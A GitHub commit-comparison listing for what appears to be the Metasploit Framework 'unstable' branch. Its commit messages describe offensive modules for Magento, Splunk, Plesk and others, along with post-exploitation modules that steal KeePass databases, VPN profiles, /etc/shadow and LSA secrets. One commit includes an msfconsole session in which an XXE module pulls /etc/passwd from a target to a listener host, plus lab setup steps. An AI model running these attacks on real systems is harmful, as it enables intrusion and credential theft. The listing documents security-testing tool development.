Compare commits

..

290 Commits

Author SHA1 Message Date
William Vu ba0ead6915 Remove scrollout_loadlogs_exec for @bcoles 2017-04-21 21:24:06 -05:00
wchen-r7 6412c66848 Move #6900 into unstable 2016-07-20 15:17:32 -05:00
wchen-r7 aec434f4aa Fix unstable branch 2016-07-20 15:12:45 -05:00
wchen-r7 969abadba6 Update unstable 2016-07-20 13:10:17 -05:00
Vex Woo d9efc8d803 set platform -> python 2016-05-25 19:32:55 -05:00
Vex Woo 34a5ce4816 Exploit::CheckCode::Vulnerable --> Exploit::CheckCode::Appears 2016-05-25 04:07:09 -05:00
Vex Woo b893f17d2b make unauth? as what api doc says 2016-05-25 04:05:30 -05:00
Vex Woo 55e22d7531 resp.get_json_document.empty? 2016-05-25 03:45:43 -05:00
Vex Woo 2715883fa2 fix url 2016-05-20 10:54:14 -05:00
Vex Woo ffc730160b add couchDB unauth remote rce module 2016-05-20 10:12:28 -05:00
wchen-r7 8841e3b5c7 Move #5410 to unstable 2016-03-31 18:23:53 -05:00
wchen-r7 ad474f95bb Land #6235 to unstable, Add a module for the recent magento XXE
We are unable to get this module to work reliably, please see #6235
for more info.
2016-03-30 17:29:03 -05:00
wchen-r7 7b740af67e Land #6250 to unstable, Add a module for Magento's Shoplift RCE
Unable to get a reliable session. Please see #6250 for more info.
2016-03-30 17:24:13 -05:00
jvoisin 8151a0dca7 Fix the previous commut 2015-12-28 16:31:10 +01:00
jvoisin 6abff3aa30 Add an informative error message in case of failure
Sometimes, the application has no write permission,
we should tell the user about that.
2015-12-28 14:14:20 +01:00
jvoisin 24ad1aca52 Fix created file permission, thanks to johnlockejrr 2015-12-25 16:59:36 +01:00
jvoisin 3c629131ab The module is now working with apache2 2015-12-02 23:41:48 +01:00
jvoisin 7e511a280e Improvements for cross-version compatibility
The main improvement here is that the CSRF token is no more
mandatory, since some versions of Magento doesn't have some
for every operation.

This module is now working on magento ce 1.9.0.0 and 1.9.1.0
2015-11-23 19:06:46 +01:00
jvoisin ec77b734ee Fix some mistakes pointed by @void-in 2015-11-17 19:09:13 +01:00
jvoisin 33eac94f18 Add a module for Magento's Shoplift RCE
This module exploits the infamous Magento's Shoplift vulnerability
to create a new admininitrator account,
then it creates a backdoor module on the fly,
and install it to achieve code execution.
2015-11-17 17:23:33 +01:00
jvoisin 0e39bef70f Fix some rubocop warnings 2015-11-16 13:52:16 +01:00
jvoisin ec6540b806 Add a module for the recent magento XXE
```
jvoisin@kaa 16:10 /opt/msf ./msfconsole

 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v4.11.5-dev-9a0f0a7                  ]
+ -- --=[ 1505 exploits - 867 auxiliary - 251 post        ]
+ -- --=[ 434 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/gather/magento_xxe
msf auxiliary(magento_xxe) > set RPORT 8080
RPORT => 8080
msf auxiliary(magento_xxe) > set SRVHOST 192.168.1.11
SRVHOST => 192.168.1.11
msf auxiliary(magento_xxe) > setg RHOST 192.168.1.25
RHOST => 192.168.1.25
msf auxiliary(magento_xxe) > show options

Module options (auxiliary/gather/magento_xxe):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   /etc/passwd      yes       The filepath to read on the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.25     yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    192.168.1.11     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base Magento directory path
   URIPATH    fetch.php        yes       The URI path to use for this exploit to get the data back
   VHOST                       no        HTTP server virtual host

msf auxiliary(magento_xxe) > run

[*] Using URL: http://192.168.1.11:8080/fetch.php
[*] Server started.
[*] 192.168.1.25     magento_xxe - Got an answer from the server.
[+] 192.168.1.25     magento_xxe - File /etc/passwd found and saved to path: /home/jvoisin/.msf4/loot/20151113163706_default_192.168.1.25_magento.file_415167.txt
[*] Server stopped.
[*] Auxiliary module execution completed
```

1. [ ] Get the "Community Edition" of magento on [its website]( https://www.magentocommerce.com/download ) (Feel free to use bugmenot@mailinator.com/Password1 to log in)
2. [ ] Install nginx and php-fpm. This is the configuration that I used:
```
server {
    listen 0.0.0.0:8080  default;
    listen 192.168.1.25:8080;
    server_name _;
    root /var/www2/;
    index index.php;

    location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; }

    location / { try_files $uri $uri/ @rewrite; }
    location @rewrite { rewrite / /index.php?$args; }
    location ~ \.php$ {
	try_files $uri =404;
	fastcgi_pass unix:/var/run/php5-fpm.sock;
	fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
	include fastcgi_params;
    }
}
```

3. [ ] Launch metasploit, `use auxiliary/gather/magento_xxe`, set
options
4. [ ] Get your file exfiltrated in your loot.

1. The XML is hand-crafted because I don't know how to Nokogiri
2. I'm quite sure that the `service.stop` in the `primer` function is
wrong. What is the regular way to handle this?
2015-11-13 16:40:04 +01:00
jvazquez-r7 70a85675f1 Land phpmyadmin login scanner into unstable
* See https://github.com/rapid7/metasploit-framework/pull/5568
2015-11-05 14:16:56 -06:00
jvazquez-r7 10f24ddd57 Move php_myadmin_login to unstable folder 2015-11-05 14:14:13 -06:00
jvazquez-r7 ccd6a399c8 Checkout pr materials 2015-11-05 14:13:21 -06:00
jvazquez-r7 febf5ef08f Merge remote-tracking branch 'upstream/master' into unstable 2015-11-05 14:09:38 -06:00
jvazquez-r7 00d2756b63 Land #6062, @shipcod3's PCMAN FTP Server exploit, into unstable
* Original PR: https://github.com/rapid7/metasploit-framework/pull/5864
2015-10-08 12:11:11 -05:00
jvazquez-r7 ca47bf553c Land module as incomplete 2015-10-08 12:07:10 -05:00
jvazquez-r7 0174506e07 Merge remote-tracking branch 'upstream/master' into unstable 2015-10-08 12:02:50 -05:00
jvazquez-r7 ef50d04258 Land #5603 to unstable 2015-09-04 14:02:36 -05:00
jvazquez-r7 9735b26b30 Move git scanner to unstable 2015-09-04 13:59:24 -05:00
jvazquez-r7 4551a5814d Land #5798, move PackRat post module to unstable
* Close #5433 by moving the module to unstable
2015-07-31 19:10:49 -05:00
jvazquez-r7 6401062fec Move #5433 module to unstable 2015-07-31 19:07:40 -05:00
jvazquez-r7 809dfc0ac8 Update unstable with rapid7/master changes 2015-07-31 19:03:07 -05:00
jvazquez-r7 a5fdd1d1f0 Land #5796, Close #5385 by moving it to unstable 2015-07-31 18:35:59 -05:00
jvazquez-r7 8c0facda4c Move #5385 WP module to unstable 2015-07-31 18:32:18 -05:00
rastating e2aa53d528 Add plugin creation 2015-06-01 22:25:29 +01:00
rastating 565967d649 Add script encoding to module 2015-05-31 18:37:37 +01:00
rastating 9f668a9509 msftidy and rubocop fixes 2015-05-31 14:24:04 +01:00
rastating 828eca0a92 Add privilege escalation to module 2015-05-31 14:15:04 +01:00
rastating 6c7ab33f49 Add async support to ajax_download 2015-05-31 13:33:05 +01:00
rastating aa063953f9 Add new user URL to WordPress URI mixin 2015-05-31 13:03:46 +01:00
rastating a6ad51794d Add plugin installer to WordPress URI mixin 2015-05-31 00:10:47 +01:00
rastating 625d80ed6f Fix title to comply with msftidy 2015-05-24 16:22:33 +01:00
rastating 91fedd16eb Update title to include version number and be more concise 2015-05-24 15:36:54 +01:00
rastating dfb03c1dbe Add extra references 2015-05-24 14:20:25 +01:00
rastating fc07d83596 Add wp_photo_album_plus_stored_xss module 2015-05-24 14:08:41 +01:00
jvazquez-r7 955929ee5c Land #5406, which closes #4915 by moving cn_caidao_backdoor_bruteforce to unstable 2015-05-22 10:50:32 -05:00
jvazquez-r7 42bc9adcbf Move cn_caidao_backdoor_bruteforce to incomplete 2015-05-22 10:45:30 -05:00
jvazquez-r7 36202daf26 Merge remote-tracking branch 'upstream/master' into unstable 2015-05-22 10:36:44 -05:00
jvazquez-r7 d315f26bee Land #5195, @benpturner smart persistence post module into unstable 2015-05-18 15:13:33 -05:00
jvazquez-r7 696c909e82 Move module to the unstable folder 2015-05-18 15:10:53 -05:00
jvazquez-r7 2e3438f792 Merge remote-tracking branch 'upstream/master' into unstable 2015-05-18 15:06:25 -05:00
jvazquez-r7 cae6931015 Land #5008 into unstable 2015-03-25 13:56:51 -05:00
jvazquez-r7 cd7bf454e3 Move module to unstable 2015-03-25 13:47:47 -05:00
jvazquez-r7 48a1ff9f6b Merge remote-tracking branch 'upstream/master' into unstable 2015-03-25 13:44:57 -05:00
jvazquez-r7 6c4d96a9b5 Land #4965, Move Rocket U2 Unidata to unstable
Move module to unstable and close #4320
2015-03-20 11:04:17 -05:00
jvazquez-r7 44694e84fe Move module to untested folder 2015-03-20 10:59:26 -05:00
jvazquez-r7 8f0b15c4e6 Land #4964 into unstable
* Moves #3707 to unstable
2015-03-20 10:40:48 -05:00
jvazquez-r7 375aadcac9 Move schtasks (#3707) to incomplete 2015-03-20 10:36:24 -05:00
jvazquez-r7 f1752cd47f Merge remote-tracking branch 'upstream/master' into unstable 2015-03-20 10:33:19 -05:00
Tod Beardsley 8bbd3060da Move #3636 swaparoo.rb to unstable 2015-02-18 16:11:00 -06:00
Tod Beardsley bc6430b6d5 Merge master to unstable 2015-02-18 16:06:30 -06:00
jvazquez-r7 5ad9570ef8 Land #4677, Close #3199 by moving wd_mycloud_api_csrf_exec to unstable 2015-01-30 11:59:22 -06:00
jvazquez-r7 e597badd97 Land #4676, move #4477 module to unstable (wp_cm_download_manager_exec) 2015-01-30 11:48:07 -06:00
jvazquez-r7 895aef65a9 Move wd_mycloud_api_csrf_exec to untested 2015-01-30 11:42:50 -06:00
jvazquez-r7 f054e22047 Move wp_cm_download_manager_exec to untested folder 2015-01-30 11:24:35 -06:00
jvazquez-r7 7e0aee396b Merge remote-tracking branch 'upstream/master' into unstable 2015-01-30 11:16:54 -06:00
Tod Beardsley c42121fd70 Merge master into unstable 2015-01-22 15:05:21 -06:00
parzamendi-r7 13e148794c Merge #4103 2015-01-19 19:00:37 -06:00
Tod Beardsley 3256419d7e Merge upstream/master to unstable 2014-10-14 13:18:40 -05:00
Tod Beardsley 62ac43d2db Revert "Add bthpan.rb to unstable"
This reverts commit b10cbe4fab.

bthpan.rb is now in the master branch, as of PR #3651
2014-10-14 13:17:56 -05:00
Jay Smith b10cbe4fab Add bthpan.rb to unstable
Closes #3651 by moving this module to unstable.

I asked @KoreLogicSecurity if he would be so kind as to test the
changes, and haven't heard back from him in 27 days. Assuming this is
abandoned.

If you'd like to reopen #3651, just say so with your results. Otherwise,
someone else can pick up this work and carry on.
2014-09-11 15:33:33 -05:00
Tod Beardsley ace51a6fff Merge branch 'upstream-master' into unstable 2014-09-11 15:30:06 -05:00
Tod Beardsley 2fbde41050 Merge master down to unstable 2014-09-02 13:16:47 -05:00
Tod Beardsley 8771a79e45 Merge branch 'upstream-master' into unstable
It's been a while.
2014-06-12 12:48:42 -05:00
William Vu e28898a214 Land #2943, unstable hp_sys_mgmt_anonymous_access 2014-02-04 14:38:51 -06:00
Tod Beardsley af1458a9b8 Add HP Sys Mgmt Anon Access Scanner
See PR #2845. The submitter decided against taking code review advice.
Stashing in unstable in case some scrappy young exploit dev wants to
take a crack at it.
2014-02-04 14:27:16 -06:00
Tod Beardsley ef82b78014 Merge master into unstable. 2014-02-04 14:26:01 -06:00
Tod Beardsley 273fc03807 Land #2887, cleanup in aisle UNSTABLE 2014-01-16 16:42:02 -06:00
William Vu f8e34598ce Clean up unstable 2014-01-16 16:34:07 -06:00
William Vu 00527019b2 Land #2880, update unstable to master 2014-01-14 11:43:47 -06:00
Tod Beardsley 95e0c136b8 Merge master down into unstable
Need to pick up the latest hotness, namely, .travis.yml, but surely
other moving targets as well to ensure that unstable runs cleanly.

Land this so #2875 can land without freaking Travis-CI out about a bad
rake version.
2014-01-14 11:35:33 -06:00
jvazquez-r7 927e35b4fc Update f5_bigip_fileaccess description 2013-12-02 13:44:50 -06:00
jvazquez-r7 b27dcf7425 Minor fixes for f5_bigip_fileaccess 2013-12-02 13:39:04 -06:00
jvazquez-r7 b144788379 Fix f5_bigip_fileaccess msftidy warnings 2013-12-02 13:37:26 -06:00
jvazquez-r7 2f4ec1f33f Land #2144, @viable-hartman module for F5 BIG-IP XXE 2013-12-02 13:32:35 -06:00
Viable.Hartman d61c7383d0 Merge pull request #1 from jvazquez-r7/f5_big_ip_work
Minor cleanup for f5_bigip_fileaccess
2013-11-12 10:31:40 -08:00
James Lee 5831242522 Land #2619, update unstable 2013-11-08 14:21:02 -06:00
Tabassassin 4335e569e7 Retab the unstable modules. 2013-11-07 23:44:41 -06:00
Tod Beardsley c5f52ba0b1 Merge master to unstable so it's possible to merge back
This should also resolve the conflict introduced by #1913 (and #1062).
Unstable modules should hit the unstable directory to avoid problems like this.

Conflicts:
	unstable-modules/exploits/incomplete/multi/http/splunk_upload_app_exec.rb
2013-11-07 23:37:23 -06:00
Tod Beardsley a679411751 Move unstable module to the right directory
According to #1913, this is incomplete, however, dropping it straight
into the unstable branch is causing conlicts with master.
2013-11-07 23:23:52 -06:00
jvazquez-r7 3356d75da8 Minor cleanup for f5_bigip_fileaccess 2013-08-08 12:15:36 -05:00
viable.hartman 84ddb259e3 Merge branch 'master' into module-cve-2012-2997 2013-08-07 09:48:44 -07:00
viable.hartman 73f43686a0 Modified f5_bigip_fileaccess as requested in pull request discussion 2144 2013-08-07 09:48:37 -07:00
viable.hartman 1836d3e17b Merge remote-tracking branch 'upstream/master' 2013-08-07 09:30:00 -07:00
viable.hartman aa53c3ba88 Get arbitrary file access to F5 files with a valid username and password 2013-08-02 12:47:31 -07:00
jvazquez-r7 1b2c5392f4 Put #1869 in unstable until we can test it or pcap is shared 2013-07-25 15:41:39 -05:00
viable.hartman a896b71340 Get arbitrary file access to F5 files with a valid username and password via XML entity attack. 2013-07-22 12:03:55 -07:00
sinn3r 70f8405fc6 Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2013-06-22 01:06:24 -05:00
sinn3r 12bed05b8e Put #1917 in unstable until progress is made 2013-06-22 01:05:33 -05:00
William Vu cbffc31bbf Put #1005 in unstable until we can test it 2013-06-20 17:00:52 -05:00
William Vu 4a77f6d543 Put #1712 in unstable until the module is ready 2013-06-19 03:41:19 -05:00
sinn3r 19584083e7 Put #1939 in unstable until the exploit module is ready 2013-06-18 11:12:11 -05:00
jvazquez-r7 5e082f8e69 Put #1922 in unstable until we can test it 2013-06-13 18:43:31 -05:00
Davy Douhine b7b5190bf2 added aux module for PHP inj in SPIP CMS 2013-06-11 17:21:39 +02:00
sinn3r 1db53a6f25 Put #1913 in unstable
Unreliable dos
2013-06-10 14:25:30 -05:00
compound 066c58853a added MS13-037 textNode Use-after-free 2013-06-07 15:54:13 +12:00
Doug P 7b197b24c8 use Rex.sleep instead of select 2013-06-06 22:19:42 -04:00
Doug P bb3856a810 changed sleep to select. changed affected version from <= 1.2.0 to < 1.2.0 2013-06-06 17:20:23 -04:00
Doug P 88297814a1 added sleep 1 2013-06-06 16:11:50 -04:00
Doug P db0b273c50 changed to ::Remote::Tcp 2013-06-06 10:41:18 -04:00
Doug P 73e5bb5dc2 added configurable timeout to is_alive(). shuffled some exceptions around 2013-06-05 15:22:50 -04:00
Doug P 224ee713ef added print_status to last rescue 2013-06-05 13:11:16 -04:00
Doug P 71fe21eb24 fixed CVE line 2013-06-05 13:10:07 -04:00
Doug P a523a4975f git rid of comma in disclosure date 2013-06-05 13:09:02 -04:00
Doug P c7036ec905 made some edits to method, is_alive 2013-06-05 13:06:19 -04:00
Doug P 90991f102b added CVE 2013-06-05 12:41:53 -04:00
Doug P ef1b6e024d Gemfile.lock edit 2013-06-05 12:36:47 -04:00
Doug P 61d6e1071f Gemfile.lock edit 2013-06-05 12:32:39 -04:00
Doug P 75deaf4067 cleaning up branch 2013-06-05 12:22:58 -04:00
Doug P c0ef55071b edited description some 2013-06-05 12:18:21 -04:00
Doug P fde85af26e ... 2013-05-29 11:47:18 -04:00
Doug P 03f527c8a0 ... 2013-05-24 18:34:55 -04:00
Doug P 961003f61d bundle install 2013-05-24 18:31:34 -04:00
Doug P e510523fe9 added monkey_null 2013-05-24 18:28:50 -04:00
Doug P 9a1ebf424d upstream pull 2013-05-24 18:26:54 -04:00
Tod Beardsley 7106afdf7d Adding this SAP module to unstable for now.
Problem came up in testing, will restore once this gets resolved.
2013-05-02 13:41:38 -05:00
Doug P 183913b690 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-04-17 09:34:22 -04:00
Doug P 6ce5880bdc ... 2013-04-12 16:25:16 -04:00
Doug P 313d6f666d messing with Gemfiles 2013-04-12 16:24:15 -04:00
RogueBit d3f7e0344f Updated module-uptime-enum uptimesoftware.com service enumerator to resolve styling issues. 2013-04-08 14:21:11 -06:00
RogueBit dce4e5a011 added module-uptime-enum uptime.com service enumerator 2013-04-08 11:59:21 -06:00
sinn3r 6bb008a0ed Please see: https://github.com/rapid7/metasploit-framework/pull/1401 2013-02-05 16:51:58 -06:00
sinn3r 2a02bc38c4 Merge branch 'bcoles-scrollout_loadlogs_exec' into unstable 2013-02-05 16:51:07 -06:00
sinn3r 1d3aec5220 Merge branch 'scrollout_loadlogs_exec' of github.com:bcoles/metasploit-framework into bcoles-scrollout_loadlogs_exec 2013-02-05 16:50:53 -06:00
bcoles 2ec2e4595e Add Scrollout loadLogs Command Execution exploit 2013-01-29 13:04:37 +10:30
corleone e00c79a4cc Better parameter handling
The DHOST parameter is passed as a function parameter to the mixin. The
module handles the datastore now.
2013-01-18 13:45:59 +01:00
sinn3r 8595230eb0 Incomplete module because does not bypass DEP (default) 2013-01-17 12:26:36 -06:00
sinn3r dbe731f111 Merge branch 'svnk42-foxit_reader_plugin' into unstable 2013-01-17 12:26:09 -06:00
sinn3r e3e1e14d2d Merge branch 'foxit_reader_plugin' of github.com:svnk42/metasploit-framework into svnk42-foxit_reader_plugin 2013-01-15 16:35:18 -06:00
svnk ad29d2096d Code improvement suggested by sinn3r 2013-01-15 23:08:21 +01:00
svnk 18b6e2781c Remove unneeded include 2013-01-15 21:48:56 +01:00
svnk b166b4ba2a Improve module, nearly stable 2013-01-15 21:28:51 +01:00
svnk 147e18ba6a Add module for Foxit Reader Plugin (SA51733)
Add exploit module for a stack-based buffer overflow in the Foxit Reader
browser plugin when processing URLs.
2013-01-13 21:25:24 +01:00
sinn3r 0b06ce432b Move to the correct dirs 2012-12-27 16:53:19 -06:00
sinn3r 0881bebc7a Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2012-12-27 16:50:44 -06:00
sinn3r e285bdfbb2 Merge branch 'gauravEsec-Plesk-CVE-2012-1557' into unstable 2012-12-27 16:50:09 -06:00
sinn3r 107d63b98f Conflict 2012-12-27 16:49:48 -06:00
sinn3r b25e2a319a Merge branch 'Plesk-CVE-2012-1557' of git://github.com/gauravEsec/metasploit-framework into gauravEsec-Plesk-CVE-2012-1557 2012-12-27 16:42:40 -06:00
Gaurav Baruah 2c1fc9123d made requested changes 2012-12-25 11:18:15 +05:30
sinn3r dd15cfa5c0 Merge branch 'Plesk-CVE-2012-1557' of git://github.com/gauravEsec/metasploit-framework into gauravEsec-Plesk-CVE-2012-1557 2012-12-23 23:40:05 -06:00
Gaurav Baruah 5f728909f4 Added Plesk SQL Injection Exploit for CVE-2012-1557 2012-12-24 08:53:00 +05:30
sinn3r 032dcd2472 Move beehive module 2012-12-13 02:20:58 -06:00
sinn3r a67ae3bc14 Leave the PR URL 2012-12-13 02:18:21 -06:00
sinn3r 1278c03e49 Merge branch 'jvazquez-r7-beehive_upload' into unstable 2012-12-13 02:17:30 -06:00
jvazquez-r7 13dd49d1a6 up to date 2012-11-24 13:09:20 +01:00
sinn3r e4965ad56b Explain why this is in unstable/incomplete 2012-11-21 15:42:20 -06:00
sinn3r 1e19620df6 Merge branch '7Elements-splunk_upload_app_exec' into unstable 2012-11-21 15:36:28 -06:00
sinn3r 0b4840b45e Use Rex to craft the MIME message 2012-11-16 15:30:07 -06:00
sinn3r 02598d5e62 Cosmetic changes, mostly 2012-11-16 15:12:16 -06:00
sinn3r 15fdc3478e Merge branch 'splunk_upload_app_exec' of git://github.com/7Elements/metasploit-framework into 7Elements-splunk_upload_app_exec 2012-11-16 12:30:10 -06:00
Marc Wickenden c936c3f30d fixed all warnings from msftidy 2012-11-16 11:12:46 +00:00
sinn3r f5348a13f4 Merge branch 'splunk_upload_app_exec' of git://github.com/7Elements/metasploit-framework into 7Elements-splunk_upload_app_exec 2012-11-16 04:06:32 -06:00
corleone 3a1009cd0f There are no accessors for the typereps variables in this version. 2012-11-14 19:30:25 +01:00
corleone f8fe1d1275 Received some comments for the pull request and this commit solves the most simple ones:
- () usage
- for cycle
- trailing comma
2012-11-14 18:42:35 +01:00
Marc Wickenden 803b3da33b - fixed typo use of print_info instead of print_status
- use OptPath for the SPLUNK_APP_FILE
2012-11-13 22:12:06 +00:00
Marc Wickenden 549e430191 added advanced option to increase delay waiting for command output 2012-11-13 16:25:49 +00:00
Marc Wickenden 0519376c46 addition of blog post URLs 2012-11-13 14:30:58 +00:00
Marc Wickenden 04032a712b Multiple improvements
- Overhauled Splunk app to format and return output
- Converted to non-streaming app to enable output
- Added advanced options for disabling command output,
	forcing upload to overwrite (if you change the app tgz),
	disabling upload if you've already uploaded once
2012-11-13 10:01:20 +00:00
Marc Wickenden bd1e39dc2b improvements to app so data is written back to Splunk 2012-11-12 15:42:12 +00:00
Marc Wickenden cb3e6add9a re-ordered status message so variable defined when called 2012-11-11 02:21:57 +00:00
Marc Wickenden 116cae37ef remove rex/tar require as not yet implemented 2012-11-11 02:18:05 +00:00
Marc Wickenden d9d59a7164 addition of exploit module for script command in Splunk 2012-11-11 02:16:07 +00:00
corleone cbf29db377 The SID parameter is now required. 2012-11-03 15:50:30 +01:00
corleone 8754998e84 Just some clean up... 2012-11-03 15:36:37 +01:00
corleone 740295e83f Just some clean up... 2012-11-02 23:06:38 +01:00
corleone f4467819cf Just some clean up. 2012-11-02 23:04:08 +01:00
sinn3r 39a9f2603d Add OSVDB-86598 - no code exe, can only upload 2012-10-30 18:27:52 -05:00
corleone 1203496611 Added the module and the related mixins to metasploit. 2012-10-24 20:52:38 +02:00
sinn3r 19ab9e3089 Merge branch 'schierlm-msftidy-2-unstable' into unstable
Conflicts:
	unstable-modules/post/enum_lsa.rb
	unstable-modules/post/keepass_jacker.rb
	unstable-modules/post/killmcafee.rb
	unstable-modules/post/openvpn_profiles_jack.rb
	unstable-modules/post/unpriv_wmic.rb
2012-10-23 20:24:14 -05:00
Michael Schierl 4765009259 Add msftidyscan module to unstable branch
It still has a bunch of TODOs and other incomplete stuff, but as I
understand it, that is what unstable repo is for, and it might be useful
for others to get a "definitive" list of what should and should not be in
an info hash.
2012-10-23 21:53:35 +02:00
Michael Schierl cad6fee858 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 21:53:33 +02:00
Michael Schierl d30a649e0c Platform/Arch/Privileged cleanup 2012-10-23 19:54:14 +02:00
Michael Schierl 9cf88abe23 Author cleanup 2012-10-23 19:54:12 +02:00
Michael Schierl 018af4efe2 DisclosureDate cleanup 2012-10-23 19:54:10 +02:00
Michael Schierl 442195d988 References cleanup 2012-10-23 19:54:08 +02:00
Michael Schierl 9ce2af1700 Version cleanup 2012-10-23 19:54:06 +02:00
sinn3r 850fa29513 Move to incomplete until all the features are complete 2012-08-21 14:42:00 -05:00
sinn3r e421631799 Merge branch 'sempervictus-kill_by_name' into unstable 2012-08-21 14:41:21 -05:00
sinn3r 65fe03c9d0 Merge branch 'kill_by_name' of https://github.com/sempervictus/metasploit-framework into sempervictus-kill_by_name 2012-08-21 14:40:53 -05:00
sinn3r ad7588c8ef To incomplete branch while we wait for author to make changes 2012-08-21 14:29:54 -05:00
sinn3r 634d4aa07e Merge branch 'balgan-master' into unstable 2012-08-21 14:28:15 -05:00
sinn3r 7bc3192a77 Merge branch 'master' of https://github.com/balgan/metasploit-framework into balgan-master 2012-08-21 14:27:57 -05:00
RageLtMan ba8d3e5296 Process killer module
This post module came out of testing for the .NET compiler
and the need to kill lots of child processes during development.
It takes a list of PIDs and/or names, finds the corresponding
PIDs, subtracts its own (suicide prevention), and a whitelist
if given. Resulting kill list is terminated.
2012-08-18 11:13:21 -04:00
Tiago Henriques 91367ecbc9 Added 2 post modules for windows
-Keepass jacker will kill keepass process and then look for kdbx files
on users document and desktop and download them. (next step for this
module will be to lock keepass, activate keyboard sniffing as to try to
steal master password) also need to make it compatible with OLD keepass
files aka .kdb
-OpenVPN profiles jack - will go to the default folder that contains the
profiles used for auto connect on OpenVPN GUI client and download them
these can allow an attacker to automatically connect to the vpn!
2012-07-26 04:21:07 +01:00
Tiago Henriques ae297906bd deleted files that werent accepted
Pass them to my own repo
2012-07-24 00:16:01 +01:00
Tiago Henriques b784b48d02 Keepass jacker for POST windows
This module will kill the keepass process and try to find .kdbx files on
Documents and Desktop and downloads them. Next step for version 0.2 will
be to LOCK keepass instead of killing it and starting the keyboard
sniffer as to automate getting the password associated with this kdbx
file. Also I'll need to add looking for old version keepass files, .KDB
!
2012-07-24 00:08:14 +01:00
Tiago Henriques 34b3bb6d07 Revert "Module kills keepass and tries to find .kdbx files"
This reverts commit 08a23514a7190479a52b11651685e6ff969e9bb2.
2012-07-24 00:08:13 +01:00
Tiago Henriques 61cee1dacd Module kills keepass and tries to find .kdbx files
This module will kill the keepass process and try to find .kdbx files on
Documents and Desktop and downloads them. Next step for version 0.2 will
be to LOCK keepass instead of killing it and starting the keyboard
sniffer as to automate getting the password associated with this kdbx
file. Also I'll need to add looking for old version keepass files, .KDB
!
2012-07-24 00:08:12 +01:00
Tiago Henriques abf2b68b63 Linux post modules that download important info
This module will download /etc/passwd /etc/shadow and try to find SSH
keys and download them, 2 versions one for payload shell and other one
for meterpreter
2012-07-24 00:08:12 +01:00
sinn3r 465a6f3b98 This module is now in the master branch
Can be found as post/windows/gather/enum_files.rb
with the latest update:
4004b544c0
2012-06-24 12:38:27 -05:00
Johnny Vestergaard 93bfd9fce7 Typo 2012-06-16 22:39:14 +03:00
sinn3r 5690cb5d19 Move gather_files to the incomplete branch
This module is still incomplete as a pull request, so we're
moving this to the incomplete branch until it's actually done.
2012-06-13 11:18:24 -05:00
sinn3r e926f9ca82 Merge branch '3vi1john-gather_files' into unstable 2012-06-13 11:17:48 -05:00
sinn3r 742c3b48ca Merge branch 'gather_files' of https://github.com/3vi1john/metasploit-framework into 3vi1john-gather_files 2012-06-13 11:16:27 -05:00
3vi1john 040936ed6b added Post Windows module gather files 2012-06-11 18:27:19 -04:00
sinn3r 395caafefa Move enum_lsa to incomplete until it's improved.
The exception handling in get_secret() is undesirable. I've asked
the author to improve this, but until then, this stays in the
incomplete branch.
2012-06-11 12:05:26 -05:00
sinn3r 69c16b3c7d Merge branch 'evilwurst-module-enum-lsa' into unstable 2012-06-11 12:05:04 -05:00
sinn3r bdf91b0060 Merge branch 'module-enum-lsa' of https://github.com/evilwurst/metasploit-framework into evilwurst-module-enum-lsa 2012-06-11 12:04:54 -05:00
sinn3r fb4f65ddfd Holding this in the incomplete (untested) branch.
BOA by default doesn't have basic auth, so this module only works
on specific devices. We're waiting for a pcap from the original
author to show it's in working condition.
2012-06-11 02:01:33 -05:00
sinn3r 0635e4542f Merge branch 'mdietz94-module-boa-dos' into unstable 2012-06-11 02:01:14 -05:00
sinn3r 410f81f0ea Move this module to unstable for further processing 2012-06-10 18:29:03 -05:00
sinn3r c5d3887da5 Merge branch 'johnnykv-cookie-logger' into unstable 2012-06-10 18:28:00 -05:00
sinn3r 8653c77279 Merge branch 'cookie-logger' of https://github.com/johnnykv/metasploit-framework into johnnykv-cookie-logger 2012-06-10 18:27:02 -05:00
sinn3r 2d7b2a57b2 Merge branch 'module-boa-dos' of https://github.com/mdietz94/metasploit-framework into mdietz94-module-boa-dos 2012-06-10 01:29:42 -05:00
Max Dietz 88bcf430d3 fixed whitespace, now compliant with msftidy.rb 2012-06-08 17:16:13 -04:00
Max Dietz 790108045f tested and functional on servers through 0.94.11 2012-06-07 18:27:48 -04:00
Max Dietz 84fee2683b cleaned up the check function 2012-06-07 00:32:25 -04:00
Max Dietz f076233f58 whitespace cleanup 2012-06-07 00:18:41 -04:00
Max Dietz 746e698585 uses HttpClient now, and is in general much nicer code. 2012-06-07 00:14:54 -04:00
Max Dietz 2cdcba65f5 realized ranking was only for exploits, added output to aid with checking whether or not the password was changed or denial of service was achieved. also added some error handling 2012-06-06 20:45:01 -04:00
Max Dietz 8d81eb9280 realized ranking was only for exploits, added output to aid with checking whether or not the password was changed or denial of service was achieved. also added some error handling 2012-06-06 20:42:02 -04:00
Max Dietz a1d0f2eb1d fixed description 2012-06-06 17:46:42 -04:00
Max Dietz f4bea53bd1 added Boa HTTPd DoS 2012-06-06 17:42:07 -04:00
Rob Bathurst 29cb03140e updated to remove non-printable characters from output 2012-05-31 23:21:17 -04:00
Rob Bathurst 84169a8cb1 added post module with ability to enumerate LSA Secrets and dump decrypted creds to loot 2012-05-31 14:16:32 -04:00
Tod Beardsley 48e96e757f Adding Powershell post module to unstable
Just so we don't lose it.

[See #251]
2012-05-18 16:44:10 -05:00
sinn3r 595df442a2 Delete vmware_update_manager_traversal.rb, because the latest
version is committed to master. Applied in changeset:
f4a446a6c1
2012-05-14 17:52:37 -05:00
Johnny Vestergaard f9a18cd655 Added file logging capability using store_loot 2012-04-29 00:41:25 +02:00
